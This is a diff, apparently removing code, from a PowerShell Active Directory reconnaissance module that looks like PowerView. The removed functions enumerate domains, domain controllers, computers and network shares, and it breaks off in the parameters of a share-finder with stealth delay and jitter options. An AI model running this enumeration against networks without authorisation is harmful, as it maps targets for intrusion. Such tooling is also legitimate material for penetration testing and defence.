orders specified - # Unfortunately, PSv2 doesn't have the luxury of the - # hashtable [Ordered] accelerator. - foreach ($Field in $StructFields.Keys) - { - $Index = $StructFields[$Field]['Position'] - $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} - } - - foreach ($Field in $Fields) - { - $FieldName = $Field['FieldName'] - $FieldProp = $Field['Properties'] - - $Offset = $FieldProp['Offset'] - $Type = $FieldProp['Type'] - $MarshalAs = $FieldProp['MarshalAs'] - - $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') - - if ($MarshalAs) - { - $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) - if ($MarshalAs[1]) - { - $Size = $MarshalAs[1] - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, - $UnmanagedType, $SizeConst, @($Size)) - } - else - { - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) - } - - $NewField.SetCustomAttribute($AttribBuilder) - } - - if ($ExplicitLayout) { $NewField.SetOffset($Offset) } - } - - # Make the struct aware of its own size. - # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! - $SizeMethod = $StructBuilder.DefineMethod('GetSize', - 'Public, Static', - [Int], - [Type[]] @()) - $ILGenerator = $SizeMethod.GetILGenerator() - # Thanks for the help, Jason Shirk! - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) - - # Allow for explicit casting from an IntPtr - # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! - $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', - 'PrivateScope, Public, Static, HideBySig, SpecialName', - $StructBuilder, - [Type[]] @([IntPtr])) - $ILGenerator2 = $ImplicitConverter.GetILGenerator() - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) - - $StructBuilder.CreateType() -} - - -function Get-ShuffledArray { - <# - .SYNOPSIS - Returns a randomly-shuffled version of a passed array. - - .DESCRIPTION - This function takes an array and returns a randomly-shuffled - version. - - .PARAMETER Array - The passed array to shuffle. - - .OUTPUTS - System.Array. The passed array but shuffled. - - .EXAMPLE - > $shuffled = Get-ShuffledArray $array - Get a shuffled version of $array. - - .LINK - http://sqlchow.wordpress.com/2013/03/04/shuffle-the-deck-using-powershell/ - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [Array]$Array - ) - Begin{} - Process{ - $len = $Array.Length - while($len){ - $i = Get-Random ($len --) - $tmp = $Array[$len] - $Array[$len] = $Array[$i] - $Array[$i] = $tmp - } - $Array; - } -} - - - -function Get-HostIP { - <# - .SYNOPSIS - Takes a hostname and resolves it an IP. - - .DESCRIPTION - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. - - .OUTPUTS - System.String. The IPv4 address. - - .EXAMPLE - > Get-HostIP -hostname SERVER - Return the IPv4 address of 'SERVER' - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [string] - $hostname = '' - ) - process { - try{ - # get the IP resolution of this specified hostname - $results = @(([net.dns]::GetHostEntry($hostname)).AddressList) - - if ($results.Count -ne 0){ - foreach ($result in $results) { - # make sure the returned result is IPv4 - if ($result.AddressFamily -eq 'InterNetwork') { - $result.IPAddressToString - } - } - } - } - catch{ - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } - } - end {} -} - - -# adapted from RamblingCookieMonster's code at -# https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 -function Invoke-Ping { -<# -.SYNOPSIS - Ping systems in parallel - Author: RamblingCookieMonster - -.PARAMETER ComputerName - One or more computers to test - -.PARAMETER Timeout - Time in seconds before we attempt to dispose an individual query. Default is 20 - -.PARAMETER Throttle - Throttle query to this many parallel runspaces. Default is 100. - -.PARAMETER NoCloseOnTimeout - Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out - - This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. - -.EXAMPLE - $Responding = $Computers | Invoke-Ping - - # Create a list of computers that successfully responded to Test-Connection - -.LINK - https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 - https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a -#> - - [cmdletbinding(DefaultParameterSetName='Ping')] - param( - [Parameter( ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - Position=0)] - [string[]]$ComputerName, - - [int]$Timeout = 20, - - [int]$Throttle = 100, - - [switch]$NoCloseOnTimeout - ) - - Begin - { - $Quiet = $True - - #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - function Invoke-Parallel { - [cmdletbinding(DefaultParameterSetName='ScriptBlock')] - Param ( - [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, - - [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] - [ValidateScript({test-path $_ -pathtype leaf})] - $ScriptFile, - - [Parameter(Mandatory=$true,ValueFromPipeline=$true)] - [Alias('CN','__Server','IPAddress','Server','ComputerName')] - [PSObject]$InputObject, - - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [switch] $Quiet = $false - ) - - Begin { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) - { - if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } - else{ $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp {[cmdletbinding()] param() } - $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) - Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) - Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) - $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) - } - } - - #region functions - - Function Get-RunspaceData { - [cmdletbinding()] - param( [switch]$Wait ) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do { - - #set more to false for tracking completion - $more = $false - - #run through each runspace. - Foreach($runspace in $runspaces) { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round( $runtime.totalminutes ,2 ) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) { - - $script:completedCount++ - - #check if there were errors - if($runspace.powershell.Streams.Error.Count -gt 0) { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach($ErrorRecord in $runspace.powershell.Streams.Error) { - Write-Error -ErrorRecord $ErrorRecord - } - } - else { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() - $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null ) { - $log = $null - $more = $true - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function - } - - #endregion functions - - #region Init - - if($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) - } - elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if( $PSBoundParameters.ContainsKey('Parameter') ) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! - - if($PSVersionTable.PSVersion.Major -gt 2) - { - #Extract using references - $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) - - If ($UsingVariables) - { - $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' - ForEach ($Ast in $UsingVariables) - { - [void]$list.Add($Ast.SubExpression) - } - - $UsingVar = $UsingVariables | Group Parent | ForEach {$_.Group | Select -First 1} - - #Extract the name, value, and create replacements for each - $UsingVariableData = ForEach ($Var in $UsingVar) { - Try - { - $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop - $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - [pscustomobject]@{ - Name = $Var.SubExpression.Extent.Text - Value = $Value.Value - NewName = $NewName - NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) - } - $ParamsToAdd += $NewName - } - Catch - { - Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" - } - } - - $NewParams = $UsingVariableData.NewName -join ', ' - $Tuple = [Tuple]::Create($list, $NewParams) - $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" - $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) - - $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) - - $ScriptBlock = [scriptblock]::Create($StringScriptBlock) - - Write-Verbose $StringScriptBlock - } - } - - $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) - } - else - { - Throw "Must provide ScriptBlock or ScriptFile"; Break - } - - Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" - Write-Verbose "Creating runspace pool and session states" - - #If specified, add variables and modules/snapins to session state - $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - if ($ImportVariables) - { - if($UserVariables.count -gt 0) - { - foreach($Variable in $UserVariables) - { - $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) - } - } - } - if ($ImportModules) - { - if($UserModules.count -gt 0) - { - foreach($ModulePath in $UserModules) - { - $sessionstate.ImportPSModule($ModulePath) - } - } - if($UserSnapins.count -gt 0) - { - foreach($PSSnapin in $UserSnapins) - { - [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) - } - } - } - - #Create runspace pool - $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) - $runspacepool.Open() - - Write-Verbose "Creating empty collection to hold runspace jobs" - $Script:runspaces = New-Object System.Collections.ArrayList - - #If inputObject is bound get a total count and set bound to true - $global:__bound = $false - $allObjects = @() - if( $PSBoundParameters.ContainsKey("inputObject") ){ - $global:__bound = $true - } - - #endregion INIT - } - - Process { - #add piped objects to all objects or set all objects to bound input object parameter - if( -not $global:__bound ){ - $allObjects += $inputObject - } - else{ - $allObjects = $InputObject - } - } - - End { - - #Use Try/Finally to catch Ctrl+C and clean up. - Try - { - #counts for progress - $totalCount = $allObjects.count - $script:completedCount = 0 - $startedCount = 0 - - foreach($object in $allObjects){ - - #region add scripts to runspace pool - - #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters - $powershell = [powershell]::Create() - - if ($VerbosePreference -eq 'Continue') - { - [void]$PowerShell.AddScript({$VerbosePreference = 'Continue'}) - } - - [void]$PowerShell.AddScript($ScriptBlock).AddArgument($object) - - if ($parameter) - { - [void]$PowerShell.AddArgument($parameter) - } - - # $Using support from Boe Prox - if ($UsingVariableData) - { - Foreach($UsingVariable in $UsingVariableData) { - Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" - [void]$PowerShell.AddArgument($UsingVariable.Value) - } - } - - #Add the runspace into the powershell instance - $powershell.RunspacePool = $runspacepool - - #Create a temporary collection for each runspace - $temp = "" | Select-Object PowerShell, StartTime, object, Runspace - $temp.PowerShell = $powershell - $temp.StartTime = Get-Date - $temp.object = $object - - #Save the handle output when calling BeginInvoke() that will be used later to end the runspace - $temp.Runspace = $powershell.BeginInvoke() - $startedCount++ - - #Add the temp tracking info to $runspaces collection - Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) - $runspaces.Add($temp) | Out-Null - - #loop through existing runspaces one time - Get-RunspaceData - - #If we have more running than max queue (used to control timeout accuracy) - #Script scope resolves odd PowerShell 2 issue - $firstRun = $true - while ($runspaces.count -ge $Script:MaxQueue) { - - #give verbose output - if($firstRun){ - Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." - } - $firstRun = $false - - #run get-runspace data and sleep for a short while - Get-RunspaceData - Start-Sleep -Milliseconds $sleepTimer - } - #endregion add scripts to runspace pool - } - - Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) - Get-RunspaceData -wait - } - Finally - { - #Close the runspace pool, unless we specified no close on timeout and something timed out - if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($noCloseOnTimeout -eq $false) ) ) { - Write-Verbose "Closing the runspace pool" - $runspacepool.close() - } - #collect garbage - [gc]::Collect() - } - } - } - - Write-Verbose "PSBoundParameters = $($PSBoundParameters | Out-String)" - - $bound = $PSBoundParameters.keys -contains "ComputerName" - if(-not $bound) - { - [System.Collections.ArrayList]$AllComputers = @() - } - } - Process - { - #Handle both pipeline and bound parameter. We don't want to stream objects, defeats purpose of parallelizing work - if($bound) - { - $AllComputers = $ComputerName - } - Else - { - foreach($Computer in $ComputerName) - { - $AllComputers.add($Computer) | Out-Null - } - } - } - End - { - #Built up the parameters and run everything in parallel - $params = @() - $splat = @{ - Throttle = $Throttle - RunspaceTimeout = $Timeout - InputObject = $AllComputers - } - if($NoCloseOnTimeout) - { - $splat.add('NoCloseOnTimeout',$True) - } - - Invoke-Parallel @splat -ScriptBlock { - $computer = $_.trim() - Try - { - #Pick out a few properties, add a status label. If quiet output, just return the address - $result = $null - if( $result = @( Test-Connection -ComputerName $computer -Count 2 -erroraction Stop ) ) - { - $Output = $result | Select -first 1 -Property Address, IPV4Address, IPV6Address, ResponseTime, @{ label = "STATUS"; expression = {"Responding"} } - $Output.address - } - } - Catch - { - } - } - } -} - - -function Test-Server { - <# - .SYNOPSIS - Tests a connection to a remote server. - - .DESCRIPTION - This function uses either ping (test-connection) or RPC - (through WMI) to test connectivity to a remote server. - - .PARAMETER Server - The hostname/IP to test connectivity to. - - .OUTPUTS - $True/$False - - .EXAMPLE - > Test-Server -Server WINDOWS7 - Tests ping connectivity to the WINDOWS7 server. - - .EXAMPLE - > Test-Server -RPC -Server WINDOWS7 - Tests RPC connectivity to the WINDOWS7 server. - - .LINK - http://gallery.technet.microsoft.com/scriptcenter/Enhanced-Remote-Server-84c63560 - #> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$true)] - [String] - $Server, - - [Switch] - $RPC - ) - - process { - if ($RPC){ - $WMIParameters = @{ - namespace = 'root\cimv2' - Class = 'win32_ComputerSystem' - ComputerName = $Name - ErrorAction = 'Stop' - } - if ($Credential -ne $null) - { - $WMIParameters.Credential = $Credential - } - try - { - Get-WmiObject @WMIParameters - } - catch { - Write-Verbose -Message 'Could not connect via WMI' - } - } - # otherwise, use ping - else{ - Test-Connection -ComputerName $Server -count 1 -Quiet - } - } -} - - -######################################################## -# -# Domain info functions below. -# -######################################################## - -function Get-NetDomain { - <# - .SYNOPSIS - Returns the name of the current user's domain. - - .PARAMETER Domain - The domain to query return. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomain - Return the current domain. - - .LINK - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG - #> - - [CmdletBinding()] - param( - [String] - $Domain - ) - - if($Domain -and ($Domain -ne "")){ - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) - try { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - $Null - } - } - else{ - [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() - } -} - - -function Get-NetDomainControllers { - <# - .SYNOPSIS - Return the current domain controllers for the active domain. - - .PARAMETER Domain - The domain to query for domain controllers. If not supplied, the - current domain is used. - - .EXAMPLE - > Get-NetDomainControllers - Returns the domain controllers for the current computer's domain. - Approximately equivialent to the hostname given in the LOGONSERVER - environment variable. - - .EXAMPLE - > Get-NetDomainControllers -Domain test - Returns the domain controllers for the domain "test". - #> - - [CmdletBinding()] - param( - [string] - $Domain - ) - - $d = Get-NetDomain -Domain $Domain - if($d){ - $d.DomainControllers - } -} - - -######################################################## -# -# "net *" replacements and other fun start below -# -######################################################## - -function Get-NetCurrentUser { - [System.Security.Principal.WindowsIdentity]::GetCurrent().Name -} - -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - $object - ) - process { - if($object){ - if ( [bool]($object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputers - $object.dnshostname - } - elseif ( [bool]($object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainControllers - $object.name - } - else { - # strings and catch alls - $object - } - } - else{ - return $Null - } - } -} - - -function Get-NetComputers { - <# - .SYNOPSIS - Gets an array of all current computers objects in a domain. - - .DESCRIPTION - This function utilizes adsisearcher to query the current AD context - for current computer objects. Based off of Carlos Perez's Audit.psm1 - script in Posh-SecMod (link below). - - .PARAMETER HostName - Return computers with a specific name, wildcards accepted. - - .PARAMETER SPN - Return computers with a specific service principal name, wildcards accepted. - - .PARAMETER OperatingSystem - Return computers with a specific operating system, wildcards accepted. - - .PARAMETER ServicePack - Return computers with a specific service pack, wildcards accepted. - - .PARAMETER Ping - Ping each host to ensure it's up before enumerating. - - .PARAMETER FullData - Return full user computer objects instead of just system names (the default). - - .PARAMETER Domain - The domain to query for computers. - - .OUTPUTS - System.Array. An array of found system objects. - - .EXAMPLE - > Get-NetComputers - Returns the current computers in current domain. - - .EXAMPLE - > Get-NetComputers -SPN mssql* - Returns all MS SQL servers on the domain. - - .EXAMPLE - > Get-NetComputers -Domain testing - Returns the current computers in 'testing' domain. - - > Get-NetComputers -Domain testing -FullData - Returns full computer objects in the 'testing' domain. - - .LINK - https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1 - #> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = '*', - - [string] - $SPN = '*', - - [string] - $OperatingSystem = '*', - - [string] - $ServicePack = '*', - - [Switch] - $Ping, - - [Switch] - $FullData, - - [string] - $Domain - ) - - process { - # if a domain is specified, try to grab that domain - if ($Domain){ - - # try to grab the primary DC for the current domain - try{ - $PrimaryDC = ([Array](Get-NetDomainControllers))[0].Name - } - catch{ - $PrimaryDC = $Null - } - - try { - # reference - http://blogs.msdn.com/b/javaller/archive/2013/07/29/searching-across-active-directory-domains-in-powershell.aspx - $dn = "DC=$($Domain.Replace('.', ',DC='))" - - # if we could grab the primary DC for the current domain, use that for the query - if($PrimaryDC){ - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$PrimaryDC/$dn") - } - else{ - # otherwise try to connect to the DC for the target domain - $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$dn") - } - - # create the searcher object with our specific filters - if ($ServicePack -ne '*'){ - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher.filter="(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - - } - catch{ - Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust." - } - } - else{ - # otherwise, use the current domain - if ($ServicePack -ne '*'){ - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(operatingsystemservicepack=$ServicePack)(servicePrincipalName=$SPN))" - } - else{ - # server 2012 peculiarity- remove any mention to service pack - $CompSearcher = [adsisearcher]"(&(objectClass=Computer)(dnshostname=$HostName)(operatingsystem=$OperatingSystem)(servicePrincipalName=$SPN))" - } - } - - if ($CompSearcher){ - - # eliminate that pesky 1000 system limit - $CompSearcher.PageSize = 200 - - $CompSearcher.FindAll() | ForEach-Object { - $up = $true - if($Ping){ - $up = Test-Server -Server $_.properties.dnshostname - } - if($up){ - # return full data objects - if ($FullData){ - $properties = $_.Properties - $out = New-Object psobject - - $properties.PropertyNames | % { - if ($_ -eq "objectsid"){ - # convert the SID to a string - $out | Add-Member Noteproperty $_ ((New-Object System.Security.Principal.SecurityIdentifier($properties[$_][0],0)).Value) - } - elseif($_ -eq "objectguid"){ - # convert the GUID to a string - $out | Add-Member Noteproperty $_ (New-Object Guid (,$properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") ){ - $out | Add-Member Noteproperty $_ ([datetime]::FromFileTime(($properties[$_][0]))) - } - else { - $out | Add-Member Noteproperty $_ $properties[$_][0] - } - } - $out - } - else{ - # otherwise we're just returning the DNS host name - $_.properties.dnshostname - } - } - } - } - - } -} - - -function Get-NetShare { - <# - .SYNOPSIS - Gets share information for a specified server. - - .DESCRIPTION - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" - - .PARAMETER HostName - The hostname to query for shares. - - .OUTPUTS - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. - - .EXAMPLE - > Get-NetShare - Returns active shares on the local host. - - .EXAMPLE - > Get-NetShare -HostName sqlserver - Returns active shares on the 'sqlserver' host - #> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName - - # arguments for NetShareEnum - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get the share information - $Result = $Netapi32::NetShareEnum($HostName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() - - Write-Debug "Get-NetShare result: $Result" - - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - } - # free up the result buffer - $Netapi32::NetApiBufferFree($ptrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} - - -######################################################## -# -# 'Meta'-functions start below -# -######################################################## - -function Invoke-ShareFinder { - <# - .SYNOPSIS - Finds (non-standard) shares on machines in the domain. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for all active machines with Get-NetComputers, then for - each server it lists of active shares with Get-NetShare. Non-standard shares - can be filtered out with -Exclude* flags. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs to search. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER ExcludeStandard - Exclude standard shares from display (C$, IPC$, print$ etc.) - - .PARAMETER ExcludePrint - Exclude the print$ share - - .PARAMETER ExcludeIPC - Exclude the IPC$ share - - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. - - .PARAMETER CheckAdmin - Only display ADMIN$ shares the local user has access to. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - Domain to query for machines. - - .EXAMPLE - > Invoke-ShareFinder - Find shares on the domain. - - .EXAMPLE - > Invoke-ShareFinder -ExcludeStandard - Find non-standard shares on the domain. - - .EXAMPLE - > Invoke-ShareFinder -Delay 60 - Find shares on the domain with a 60 second (+/- *.3) - randomized delay between touching each host. - - .EXAMPLE - > Invoke-ShareFinder -HostList hosts.txt - Find shares for machines in the specified hostlist. - - .LINK - http://blog.harmj0y.net - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, - - [Switch] - $ExcludeStandard, - - [Switch] - $ExcludePrint, - - [Switch] - $ExcludeIPC, - - [Switch] - $NoPing, - - [Switch] - $CheckShareAccess, - - [Switch] - $CheckAdmin, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [String] - $Domain - ) - 